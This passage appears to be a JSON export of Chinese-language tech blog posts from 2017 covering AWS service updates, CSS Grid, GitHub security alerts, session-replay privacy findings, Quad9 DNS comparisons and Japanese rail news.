打散，用演算法包裝起來，再美其名為「個人化推薦」。\r\n\r\n而 RSS reader 可以避免「已知的來源」這塊漏掉。\r\n\r\n另外也因為 RSS reader 因為設計的目標就是「有效率的閱讀」而不是「賺錢」，所以大多數都會有「已讀」與「未讀」的功能，這讓你同樣的資訊你不需要讀很多次。\r\n\r\n而 RSS reader 容易分群閱讀 (有些 RSS reader 會提供 folder 或是 tag 的功能) 也讓你可以帶著不同的 mindset 看不同群的文章，像是科技類的文章與心靈雞湯文就可以分開。",
    "title": "為什麼我還繼續用 RSS (Feed)"
  },
  {
    "id": "7777",
    "body": "看到這則 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Bootstap 12 column grid in 5 lines of CSS. <br><br>One of many ways to lay out of a page in CSS grid. You won’t be needing frameworks for layout much longer ? <a href=\"https://t.co/DlxeNesna1\">pic.twitter.com/DlxeNesna1</a></p>&mdash; Wes Bos ? (@wesbos) <a href=\"https://twitter.com/wesbos/status/928731575684091904?ref_src=twsrc%5Etfw\">November 9, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n因為 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout\">CSS Grid</a> 的支援度其實不差了 (參考 <a href=\"https://caniuse.com/\">Can I use</a> 的 <a href=\"https://caniuse.com/#feat=css-grid\">CSS Grid Layout</a>)，如果只是要做 grid 效果，未必需要拉 <a href=\"https://getbootstrap.com/\">Bootstrap</a> 進來用，可以考慮用這個方法解決...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aRpYQo0.webp\" /><img src=\"https://i.gslin.com/imgur/aRpYQo0.jpg\" alt=\"\" /></picture>",
    "title": "用 CSS Grid 達到類似 Bootstrap Grid 的效果"
  },
  {
    "id": "7778",
    "body": "看到一個有趣但是不實用的東西 XD：「<a href=\"https://medium.freecodecamp.org/using-svg-as-placeholders-more-image-loading-techniques-bed1b810ab2c\">How to use SVG as a Placeholder, and Other Image Loading Techniques</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/DA5xwd8.jpg\" alt=\"\" />\r\n\r\n大小大約是這樣：\r\n\r\n<blockquote>Actually, the code for the SVG with 10 shapes is really small, around 1030 bytes, which goes down to ~640 bytes when passing the output through SVGO.</blockquote>\r\n\r\n<blockquote>The images generated with 100 shapes are larger, as expected, weighting ~5kB after SVGO (8kB before).</blockquote>\r\n\r\n這大小有點 heavy... 算是有趣的嘗試 :o",
    "title": "用 SVG 當圖片的 Placeholder"
  },
  {
    "id": "7779",
    "body": "算是等很久的功能了... <a href=\"https://aws.amazon.com/\">AWS</a> 支援的是商業版本的 <a href=\"https://puppet.com/products/puppet-enterprise\">Puppet Enterprise</a>，掛在 <a href=\"https://aws.amazon.com/opsworks/\">OpsWorks</a> 產品下：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-opsworks-for-puppet-enterprise/\">New – AWS OpsWorks for Puppet Enterprise</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MMlAUNe.webp\" /><img src=\"https://i.gslin.com/imgur/MMlAUNe.jpg\" alt=\"\" /></picture>\r\n\r\nMaster server 目前只支援 c4.large、c4.xlarge、c4.2xlarge 三種 instance (如上圖所顯示的)，然後這一波支援的 region 只有 us-east-1、us-west-2 以及 eu-west-1，還沒看到亞洲的 region XD\r\n\r\n<blockquote>At launch AWS OpsWorks for Puppet Enterprise is available in US East (N. Virginia) Region, US West (Oregon) Region, and EU (Ireland) Region.</blockquote>\r\n\r\n計價方式是按照 node 來算，前面的 112,500 node hours 是 $0.017/hour，如果以一個月三十天來算，一個 node 的成本是 $12.24，不算便宜... 不過目前感覺在 AWS 上應該要吃 <a href=\"https://www.packer.io/\">Packer</a> 來玩，而不是 Puppet... 反正是多給使用者一個選擇就是了，總是有些情境下選擇這個服務是對的方向 (像是考量人的前提...)。",
    "title": "AWS OpsWorks 支援 Puppet Enterprise"
  },
  {
    "id": "7780",
    "body": "剛好是之前推出 Dependency Graph 後可以拿出來善用的利用：「<a href=\"https://github.com/blog/2470-introducing-security-alerts-on-github\">Introducing security alerts on GitHub</a>」，先前提到的 Dependency Graph 則是在「<a href=\"https://github.com/blog/2447-a-more-connected-universe\">A more connected universe</a>」這邊。\r\n\r\n<img src=\"https://i.gslin.com/imgur/fkPUsVE.gif\" alt=\"\" />\r\n\r\nVulnerability coverage 的部份有提到範圍，至少有公開 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 的會納入：\r\n\r\n<blockquote>Vulnerabilities that have CVE IDs (publicly disclosed vulnerabilities from the National Vulnerability Database) will be included in security alerts. However, not all vulnerabilities have CVE IDs—even many publicly disclosed vulnerabilities don't have them. We'll continue to get better at identifying vulnerabilities as our security data grows. For more help managing security issues, check out our security partners in the GitHub Marketplace.</blockquote>\r\n\r\n然後這系列功能目前只支援 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 與 <a href=\"https://www.ruby-lang.org/\">Ruby</a>，下一個應該是 <a href=\"https://www.python.org/\">Python</a>：\r\n\r\n<blockquote>The dependency graph and security alerts currently support Javascript and Ruby—with Python support coming in 2018.</blockquote>",
    "title": "GitHub 推出安全通知的功能"
  },
  {
    "id": "7781",
    "body": "<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 本來是個 client-server 服務架構，但現在讓你方便在本機測試，支援直接在本機下指令 deploy (不需要 server) 看看發生什麼狀況：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/aws-codedeploy-supports-local-testing-and-debugging/\">AWS CodeDeploy Supports Local Testing and Debugging</a>」。\r\n\r\n<blockquote>Previously, if you wanted to test and debug your deployment, you had to fully configure AWS CodeDeploy. This includes installing the agent on the target host, creating a CodeDeploy Application, and creating a CodeDeploy Deployment Group.</blockquote>\r\n\r\n<blockquote>Now, you can execute a deployment directly on a local machine or instance where the CodeDeploy agent is installed. If your deployment has errors, you can easily find and view the error logs by accessing the agent with your terminal. This makes it faster and easier to find and fix bugs before configuring CodeDeploy for production.</blockquote>\r\n\r\n是有很多人一直中獎然後跟 <a href=\"https://aws.amazon.com/\">AWS</a> 反應嗎... XD",
    "title": "AWS CodeDeploy 支援單機測試模式"
  },
  {
    "id": "7782",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 主動提高 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 與 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的 <a href=\"https://en.wikipedia.org/wiki/Service-level_agreement\">SLA</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/announcing-an-increased-monthly-service-commitment-for-amazon-ec2/\">Announcing an increased monthly service commitment for Amazon EC2</a>」。\r\n\r\n<blockquote>Amazon EC2 is announcing an increase to the monthly service commitment in the EC2 Service Level Agreement (“SLA”), for both EC2 and EBS, to 99.99%. This increased commitment is the result of continuous investment in our infrastructure and quality of service. This change is effective immediately in all regions, and is available to all EC2 customers.</blockquote>\r\n\r\n之前是 99.95% monthly (參考前幾天的頁面：「<a href=\"https://web.archive.org/web/20171114180320/https://aws.amazon.com/ec2/sla/\">Amazon EC2 SLA</a>」)，現在拉到 99.99% 了。第一階的賠償條件也從 99.95%～99% 改成 99.99%～99% 了 (賠 10%)。",
    "title": "AWS 主動提高 Amazon EC2 與 Amazon EBS 的 SLA"
  },
  {
    "id": "7784",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 的新功能，讓使用者可以設定 policy，以確保 mail reputation 不會掉的太差：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-ses-introduces-email-pausing-and-reputation-metrics-for-configuration-sets/\">Amazon SES introduces email pausing and reputation metrics for configuration sets</a>」，介紹的文章在「<a href=\"https://aws.amazon.com/blogs/ses/protect-your-reputation-with-email-pausing-and-configuration-set-metrics/\">Protect your Reputation with Email Pausing and Configuration Set Reputation Metrics</a>」。\r\n\r\n所以你可以設定某些條件，停用某個 configuration set，或是停用整個帳號：\r\n\r\n<blockquote>This release includes API operations that allow you to temporarily pause email sending for a specific configuration set, or across your entire Amazon SES account. You can use this feature to automatically pause email sending when your reputation metrics cross certain thresholds that you define.</blockquote>\r\n\r\n這應該是在一個帳號有多個服務使用的情境下，用來降低風險的方式... 某個服務突然送出一堆 bounce mail 時可以只停用有問題的服務，而不是被 Amazon SES 整包停用。\r\n\r\n另外因為經過 <a href=\"https://aws.amazon.com/cloudwatch/\">Amazon CloudWatch</a>，所以可以串上 <a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 後將 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 接上去做更複雜的處理：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cY9VNfq.webp\" /><img src=\"https://i.gslin.com/imgur/cY9VNfq.jpg\" alt=\"\" /></picture>",
    "title": "Amazon SES 的細部調整 (甚至部份停用) 的功能"
  },
  {
    "id": "7785",
    "body": "本來 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上 <code>x1e</code> 家族只有 <code>x1e.32xlarge</code>，現在拆小拿出來租了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-update-x1e-instances-in-five-more-sizes-and-a-stronger-sla/\">Amazon EC2 Update – X1e Instances in Five More Sizes and a Stronger SLA</a>」。\r\n\r\n這次算是補足中間的缺口，因為先前的洞有點大：<code>r4.16xlarge</code> 是 488GB RAM，而往上就變成 <code>x1e.32xlarge</code> 的 3904GB，中間都沒有其他選擇可以用。這次 <code>x1e.8xlarge</code> (976GB) 與 <code>x1e.16xlarge</code> (1952GB) 算是補上了這邊的缺口，拿來跑需要大量記憶體，但還不需要到 4TB RAM 等級的程式...",
    "title": "EC2 的 X1e 推出更小台的機種"
  },
  {
    "id": "7786",
    "body": "<a href=\"https://www.google.com/\">Google</a> 放出來的工具，可以比較兩個 <a href=\"https://www.docker.com/\">Docker</a> Image 的內容：「<a href=\"https://opensource.googleblog.com/2017/11/container-diff-for-comparing-container-images.html\">Introducing container-diff, a tool for quickly comparing container images</a>」，<a href=\"https://github.com/\">GitHub</a> 的連結在「<a href=\"https://github.com/GoogleCloudPlatform/container-diff\">GoogleCloudPlatform/container-diff</a>」這邊。\r\n\r\n不是單純的 binary diff，而是分析裡面的內容。像是安裝套件的差異，或是 <a href=\"https://pypi.python.org/pypi/pip\">pip</a> 與 <a href=\"https://www.npmjs.com/\">npm</a> 的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Yj0CtsX.webp\" /><img src=\"https://i.gslin.com/imgur/Yj0CtsX.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vgpHmLX.webp\" /><img src=\"https://i.gslin.com/imgur/vgpHmLX.jpg\" alt=\"\" /></picture>\r\n\r\n主要是開發者會用到，可以觀察不同 container 之間的差異。",
    "title": "Google 推出比較兩個 Docker Image 的 container-diff"
  },
  {
    "id": "7787",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Session_replay\">Session Replay</a> 指的是重播將使用者的行為錄下來重播，市面上有很多這樣的服務，像是 <a href=\"https://www.userreplay.com/\">User Replay</a> 或是 <a href=\"https://sessioncam.com/\">SessionCam</a>。\r\n\r\n這篇文章就是在討論這些服務在處理個資時的方式，像是信用卡卡號的內容，或是密碼的內容，這些不應該被記錄下來的資料是怎麼被處理的：「<a href=\"https://freedom-to-tinker.com/2017/11/15/no-boundaries-exfiltration-of-personal-data-by-session-replay-scripts/\">No boundaries: Exfiltration of personal data by session-replay scripts</a>」，主要的重點在這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/G6zdvPE.webp\" /><img src=\"https://i.gslin.com/imgur/G6zdvPE.jpg\" alt=\"\" /></picture>\r\n\r\n後面有提到目前防禦的情況，看起來目前用 adblock 類的軟體可以擋掉一些服務，但不是全部的都在列表裡。而 <a href=\"https://en.wikipedia.org/wiki/Do_Not_Track\">DNT</a> 則是裝飾品沒人鳥過：\r\n\r\n<blockquote>Two commonly used ad-blocking lists EasyList and EasyPrivacy do not block FullStory, Smartlook, or UserReplay scripts. EasyPrivacy has filter rules that block Yandex, Hotjar, ClickTale and SessionCam.\r\n\r\nAt least one of the five companies we studied (UserReplay) allows publishers to disable data collection from users who have Do Not Track (DNT) set in their browsers. We scanned the configuration settings of the Alexa top 1 million publishers using UserReplay on their homepages, and found that none of them chose to honor the DNT signal.\r\n\r\nImproving user experience is a critical task for publishers. However it shouldn’t come at the expense of user privacy.</blockquote>",
    "title": "各家 Session Replay 服務對個資的處理"
  },
  {
    "id": "7788",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 讓 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 變得更好用了：「<a href=\"https://aws.amazon.com/blogs/compute/introducing-cloud-native-networking-for-ecs-containers/\">Introducing Cloud Native Networking for Amazon ECS Containers</a>」。\r\n\r\n<blockquote>Today, AWS announced task networking for Amazon ECS. This feature brings Amazon EC2 networking capabilities to tasks using elastic network interfaces.</blockquote>\r\n\r\n在 <code>awsvpc</code> 模式下會給每個 container 一個獨立的網路卡 (Elastic Network Interface，ENI)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P4G0xoX.webp\" /><img src=\"https://i.gslin.com/imgur/P4G0xoX.jpg\" alt=\"\" /></picture>\r\n\r\n這樣有兩個好處。第一個是 port 就不需要拆開，所有 container 如果都是跑 <a href=\"https://nginx.org/\">nginx</a>，都可以跑在同一個 port (80 或是 443)，這對於前端應用程式會簡單一些。第二個整合了 AWS 的 security group，這對在 AWS 上本來就會使用 security group 的大多數人來說就可以輕鬆整合了。",
    "title": "AWS 推出 Cloud Native Networking，在每個 Container 內都有自己獨立的網路卡"
  },
  {
    "id": "7791",
    "body": "看到新的 DNS Resolver 服務，也拿到了還不錯的 IP address，9.9.9.9：「<a href=\"https://arstechnica.com/information-technology/2017/11/new-quad9-dns-service-blocks-malicious-domains-for-everyone/\">New “Quad9” DNS service blocks malicious domains for everyone</a>」，服務網站是「<a href=\"https://www.quad9.net/\">Quad 9 | Internet Security and Privacy in a Few Easy Steps</a>」，主打宣稱過濾已知的危險站台...\r\n\r\n由政府單位、<a href=\"https://www.ibm.com/\">IBM</a> 以及 <a href=\"https://www.pch.net/\">Packet Clearing House</a> 成立的：\r\n\r\n<blockquote>The Global Cyber Alliance (GCA)—an organization founded by law enforcement and research organizations to help reduce cyber-crime—has partnered with IBM and Packet Clearing House to launch a free public Domain Name Service system.</blockquote>\r\n\r\n也就是說，後面三家都不是專門做網路服務的廠商... 於是就會發現連 <a href=\"https://tools.ietf.org/html/rfc7871\">Client Subnet in DNS Queries</a> (RFC 7871) 都沒提供，於是查出來的地區都不對，這對使用 DNS resolver 位置分配 CDN 節點的服務很傷啊... (或是其他類似服務)\r\n\r\n這是 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://developers.google.com/speed/public-dns/\">Public DNS</a> (8.8.8.8) 查出來的：\r\n\r\n<pre><small><small>;; ANSWER SECTION:\r\ni.kfs.io.               576     IN      CNAME   kwc.kkcube.com.country.mp.kkcube.com.\r\nkwc.kkcube.com.country.mp.kkcube.com. 21599 IN CNAME TW.kwc.kkcube.com.\r\nTW.kwc.kkcube.com.      188     IN      CNAME   i.kfs.io.cdn.cloudflare.net.\r\ni.kfs.io.cdn.cloudflare.net. 299 IN     A       104.16.244.238\r\ni.kfs.io.cdn.cloudflare.net. 299 IN     A       104.16.245.238\r\n\r\n;; Query time: 28 msec\r\n;; SERVER: 8.8.8.8#53(8.8.8.8)\r\n;; WHEN: Sat Nov 18 05:30:23 CST 2017\r\n;; MSG SIZE  rcvd: 181</small></small></pre>\r\n\r\n這是 Quad9 (9.9.9.9) 查出來的：\r\n\r\n<pre><small><small>;; ANSWER SECTION:\r\ni.kfs.io.               1800    IN      CNAME   kwc.kkcube.com.country.mp.kkcube.com.\r\nkwc.kkcube.com.country.mp.kkcube.com. 42702 IN CNAME US.kwc.kkcube.com.\r\nUS.kwc.kkcube.com.      300     IN      CNAME   i.kfs.io.cdn.cloudflare.net.\r\ni.kfs.io.cdn.cloudflare.net. 300 IN     A       104.16.245.238\r\ni.kfs.io.cdn.cloudflare.net. 300 IN     A       104.16.244.238\r\n\r\n;; Query time: 294 msec\r\n;; SERVER: 9.9.9.9#53(9.9.9.9)\r\n;; WHEN: Sat Nov 18 05:30:27 CST 2017\r\n;; MSG SIZE  rcvd: 181</small></small></pre>\r\n\r\n再來一點是，在科技領域相信政府單位通常都是一件錯誤的事情，我 pass... XD",
    "title": "新的 DNS Resolver：9.9.9.9"
  },
  {
    "id": "7792",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/StartCom\">StartCom</a> 決定關門的消息：「<a href=\"https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/LM1SpKHJ-oc\">Termination of the certificates business of Startcom</a>」。\r\n\r\n2018 停發新的憑證，然後維護兩年 <a href=\"https://en.wikipedia.org/wiki/Certificate_revocation_list\">CRL</a> 與 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 服務：\r\n\r\n<blockquote>We´ll set January 1st 2018 as the termination date and will stop issuing certificates therefrom. We will maintain our CRL and OCSP service for two more years from January 1st 2018. The three pairs of StartCom key Roots will be eliminated after that time.</blockquote>\r\n\r\n在不斷的抵制下總算關了...",
    "title": "StartCom 決定關門"
  },
  {
    "id": "7793",
    "body": "居然是從 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://www.bbc.co.uk/news/world-asia-42009839\">Apology after Japanese train departs 20 seconds early</a>」，引用的是官方的道歉文：「<a href=\"http://www.mir.co.jp/company/release/2017/post_109.html\">【お詫び】南流山駅における普通列車の早発について</a>」。\r\n\r\n<blockquote>平成29年11月14日（火）9時44分頃、第5255列車（秋葉原9時17分発、普通守谷行き）が、南流山駅に定刻9時43分40秒に到着。当該乗務員はドア開操作後、お客様の乗降取り扱いを行いました。その後、定刻9時44分40秒の発車のところ、発車時刻を十分に確認しないまま、ドア閉じ操作を行い、9時44分20秒に発車（出発操作）してしまいました。\r\n\r\nこれにより、駅時刻表との相違はなかったものの、定刻より約20秒早発するという事象が発生いたしました。なお、この件でお客様からの苦情等はありません。</blockquote>\r\n\r\n更有趣的是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論 (在<a href=\"https://news.ycombinator.com/item?id=15713782\">這裡</a>)，一如既往的無法理解日本的鐵路與電車為什麼可以這麼準時 XDDD\r\n\r\n日本電車要大幅延遲，最常見的就是人身事故以及暴雪暴雨之類的吧，營運方的問題不是很常看到... (不過這個案例是提前開車而道歉，純粹看討論時想到而已...)",
    "title": "筑波快線因為提早 20 秒開車而道歉"
  },
  {
    "id": "7794",
    "body": "<a href=\"https://www.microsoft.com/\">Microsoft</a> 與 <a href=\"https://github.com/\">GitHub</a> 合作將本來只有在 Windows 上可以用的 <a href=\"https://github.com/Microsoft/GVFS\">GVFS</a> 移植到 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 與 <a href=\"https://www.apple.com/osx/\">Mac</a> 上：「<a href=\"https://arstechnica.com/gadgets/2017/11/microsoft-and-github-team-up-to-take-git-virtual-file-system-to-macos-linux/\">Microsoft and GitHub team up to take Git virtual file system to macOS, Linux</a>」。\r\n\r\nGVFS 是解決微軟內部自己在用 <a href=\"https://git-scm.com/\">Git</a> 的痛處，因為微軟的 repository 都... 有... 點... 肥... (畢竟有不少產品發展了很久)。\r\n\r\n目前 Git 的操作是卡在 I/O 與 memory cache 的限制上：\r\n\r\n<blockquote>Also, Git wasn't designed for a codebase that was so large, either in terms of the number of files and version history for each file, or in terms of sheer size, coming in at more than 300GB. When using standard Git, working with the source repository was unacceptably slow. Common operations (such as checking which files have been modified) would take multiple minutes.</blockquote>\r\n\r\nGVFS 的想法是有用到的部份再真的去拉，藉此大幅減少 I/O 需求...",
    "title": "Microsoft 與 GitHub 合作，將會把 GVFS 移植到 Linux 與 Mac 上"
  },
  {
    "id": "7795",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/rds/mysql/\">Amazon RDS for MySQL</a> 支援從 <a href=\"https://www.percona.com/software/database-tools/percona-toolkit\">Percona Toolkit</a> 備份出來的檔案還原了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/easily-restore-an-amazon-rds-mysql-database-from-your-mysql-backup/\">Easily restore an Amazon RDS MySQL database from your MySQL backup</a>」。\r\n\r\n<blockquote>Starting today you can easily restore a new Amazon RDS for MySQL database instance from a backup of your existing MySQL database, including MySQL databases running on Amazon EC2 or outside of AWS. This is done by creating a backup using the Percona XtraBackup tool and uploading the resulting files to an Amazon S3 bucket. You then create a new Amazon RDS DB Instance from the backup files in Amazon S3, directly through the RDS Console or AWS Command Line Interface. </blockquote>\r\n\r\n備份出來後放到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 上，然後就可以讓 RDS 拉進去了...\r\n\r\n<blockquote>This feature is available in all AWS Commercial regions for databases using MySQL version 5.6.</blockquote>\r\n\r\n目前在 commercial region 都可以用了，所以代表 <a href=\"https://aws.amazon.com/govcloud-us/\">GovCloud (US)</a> 還沒 (不過一般情況也沒權限碰到)。\r\n\r\n不過他只說 5.6，代表 5.7 還不支援嗎？反正最差的情況就是再升一次 5.6 到 5.7？",
    "title": "用 Percona Toolkit 備份的 MySQL 可以直接還原到 Amazon RDS 上"
  },
  {
    "id": "7796",
    "body": "從 JR 進入成田機場第二航廈，需要過兩個閘門的情況 (先過一次進到京成線，再過一次進到第二航廈)，一直是個讓人不太能理解的問題... 這個問題因為 2020 年的東京奧運而被拿出來討論，決定在 2019 年要改善：\r\n\r\n<ul>\r\n\t<li><a href=\"https://headlines.yahoo.co.jp/hl?a=20171115-00010006-chibatelev-l12\">成田空港第2ターミナル駅の改札「二重改札問題」　解消へ</a></li>\r\n\t<li><a href=\"http://www.tokyo-np.co.jp/article/chiba/list/201711/CK2017111702000146.html\">成田第２ビル駅「二重改札」解消へ　１９年度中　五輪に向け利便性向上</a></li>\r\n</ul>\r\n\r\n本來進入第二航廈有檢查站，這是為了防止當地居民抗議而設置的 (參考日文版維基百科「<a href=\"https://ja.wikipedia.org/wiki/%E6%88%90%E7%94%B0%E5%9B%BD%E9%9A%9B%E7%A9%BA%E6%B8%AF\">成田国際空港</a>」裡的「警備・検問・入場制限」這段說明)，而這項限制在 2015 年三月底取消後，本來 JR 會需要先進到京成線的設計就變得多餘了：\r\n\r\n<blockquote>成田空港第2ターミナルの最寄り駅・空港第2ビル駅では1992年の駅の開業当初から2015年3月下旬までの間、駅の出口で手荷物検査が行われていました。このため、JR線を利用して駅に訪れた人は、京成線の改札を経由してターミナルに向かう必要があったため、この状態は現在も解消されずに続いています。</blockquote>\r\n\r\n不過新聞雖然這樣講，其實我還是沒搞懂... 都先進到檢查站不就好了嗎，當初是有什麼因素造成先進到京成線這個 workaround 嗎 XDDD",
    "title": "成田機場第二航廈需要過兩個閘門的問題將在 2019 被解決"
  },
  {
    "id": "7800",
    "body": "不知道為什麼出現在 browser tab 上，不知道是哪邊看到的... <a href=\"https://aws.amazon.com/\">AWS</a> 放出了一份文件，在講 hybrid cloud 環境下當你同時有一般 IDC 機房，而且使用內部 domain 在管理時，網路與 AWS 打通後要怎麼解決 DNS resolver 的問題：「<a href=\"https://d1.awsstatic.com/whitepapers/hybrid-cloud-dns-options-for-vpc.pdf\">Hybrid Cloud DNS Solutions for Amazon VPC</a>」。\r\n\r\n有些東西在官方的說明文件內都寫過，但是是 AWS 的特殊設計，這邊就會重複說明 XDDD\r\n\r\n像是這份文件裡提到 Amazon DNS Server 一定會在 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 的 base 位置加二 (舉例來說，<code>10.0.0.0/16</code> 的 VPC，Amazon DNS Server 會在 <code>10.0.0.2</code>)：\r\n\r\n<blockquote>Amazon DNS Server\r\nThe Amazon DNS Server in a VPC provides full public DNS resolution, with additional resolution for internal records for the VPC and customer-defined Route 53 private DNS records.4 The AmazonProvidedDNS maps to a DNS server running on a reserved IP address at the base of the VPC network range, plus two. For example, the DNS Server on a 10.0.0.0/16 network is located at 10.0.0.2. For VPCs with multiple CIDR blocks, the DNS server IP address is located in the primary CIDR block.</blockquote>\r\n\r\n在官方文件裡，則是在「<a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_DHCP_Options.html\">DHCP Options Sets</a>」這邊提到一樣的事情：\r\n\r\n<blockquote>When you create a VPC, we automatically create a set of DHCP options and associate them with the VPC. This set includes two options: domain-name-servers=AmazonProvidedDNS, and domain-name=domain-name-for-your-region. AmazonProvidedDNS is an Amazon DNS server, and this option enables DNS for instances that need to communicate over the VPC's Internet gateway. The string AmazonProvidedDNS maps to a DNS server running on a reserved IP address at the base of the VPC IPv4 network range, plus two. For example, the DNS Server on a 10.0.0.0/16 network is located at 10.0.0.2. For VPCs with multiple IPv4 CIDR blocks, the DNS server IP address is located in the primary CIDR block.</blockquote>\r\n\r\n另外也還是有些東西在官方的說明文件內沒看過，像是講到 Elastic Network Interface (ENI) 對 Amazon DNS Server 是有封包數量限制的；這點我沒在官方文件上找到，明顯在量太大的時候會中獎，然後開 Support Ticket 才會發現的啊 XDDD：\r\n\r\n<blockquote>Each network interface in an Amazon VPC has a hard limit of 1024 packets that it can send to the Amazon Provided DNS server every second.</blockquote>\r\n\r\nAnyway... 這份文件裡面提供三種解法：\r\n\r\n<ul>\r\n\t<li>Secondary DNS in a VPC，直接用程式抄一份到 <a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 上，這樣 Amazon DNS Server 就可以直接看到了，這也是 AWS 在一般情況下比較推薦的作法。</li>\r\n\t<li>Highly Distributed Forwarders，每台 instance 都跑 <a href=\"https://www.unbound.net/\">Unbound</a>，然後針對不同的 domain 導開，這樣可以有效避開單一 ENI 對 Amazon DNS Server 的封包數量限制，但缺點是這樣的設計通常會需要像是 <a href=\"https://puppet.com/\">Puppet</a> 或是 Chef <a href=\"https://www.chef.io/\"></a>之類的軟體管理工具才會比較好設定。</li>\r\n\t<li>Zonal Forwarders Using Supersede，就是在上面架設一組 Unbound 伺服器集中管理，透過 DHCP 設定讓 instance 用。但就要注意量不能太大，不然 ENI 對 Amazon DNS Server 的限制可能會爆掉 XD</li>\r\n</ul>\r\n\r\n都可以考慮看看...",
    "title": "AWS 提供 Hybrid Cloud 環境下 DNS 管理的說明"
  },
  {
    "id": "7801",
    "body": "扣除掉 fork 的程式碼後，研究人員在 <a href=\"https://github.com/\">GitHub</a> 上還是發現有大量重複的程式碼：「<a href=\"https://blog.acolyer.org/2017/11/20/dejavu-a-map-of-code-duplicates-on-github/\">DéjàVu: a map of code duplicates on GitHub</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/7s8NCE5.jpg\" alt=\"\" />\r\n\r\n<blockquote>This paper analyzes a corpus of 4.5 million non-fork projects hosted on GitHub representing over 482 million files written in Java, C++, Python, and JavaScript. We found that this corpus has a mere 85 million unique files.</blockquote>\r\n\r\n用 <a href=\"https://www.java.com/\">Java</a>/<a href=\"https://en.wikipedia.org/wiki/C%2B%2B\">C++</a>/<a href=\"https://www.python.org/\">Python</a>/<a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 寫的 4.5M 個專案有 482M 個檔案，但只有 85M 個檔案是不一樣的 XD\r\n\r\n想一想其實也是... 現在愈來愈多工具產生程式碼了 XD (i.e. <a href=\"https://en.wikipedia.org/wiki/Scaffold_(programming)\">Scaffold</a>)",
    "title": "GitHub 上有大量重複的程式碼..."
  },
  {
    "id": "7802",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出給情報單位用的 AWS Secret Region：「<a href=\"https://aws.amazon.com/blogs/publicsector/announcing-the-new-aws-secret-region/\">Announcing the New AWS Secret Region</a>」。\r\n\r\n與 <a href=\"https://aws.amazon.com/govcloud-us/\">AWS GovCloud (US)</a> 類似的架構，這個雲的範圍再小一些，給情報單位以及有對應授權的單位用的：\r\n\r\n<blockquote>The AWS Secret Region is readily available to the U.S. Intelligence Community (IC) through the IC’s Commercial Cloud Services (C2S) contract with AWS.</blockquote>\r\n\r\n<blockquote>The AWS Secret Region also will be available to non-IC U.S. Government customers with appropriate Secret-level network access and their own contract vehicles for use of the AWS Secret Region.</blockquote>",
    "title": "AWS 推出 AWS Secret Region"
  },
  {
    "id": "7803",
    "body": "<a href=\"https://aws.amazon.com/codecommit/\">AWS CodeCommit</a> 算是 <a href=\"https://aws.amazon.com/\">AWS</a> 提供的 source code hosting 服務，現在也提供 Pull Request 以及聊天^H^H code review 的功能了：「<a href=\"https://aws.amazon.com/blogs/devops/using-aws-codecommit-pull-requests-to-request-code-reviews-and-discuss-code/\">Using AWS CodeCommit Pull Requests to request code reviews and discuss code</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/aws-codecommit-supports-pull-requests/\">AWS CodeCommit Supports Pull Requests</a>」。\r\n\r\n<blockquote>AWS CodeCommit now supports pull requests, which provide a mechanism to request code reviews and discuss code with collaborators.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CSnZ5xT.webp\" /><img 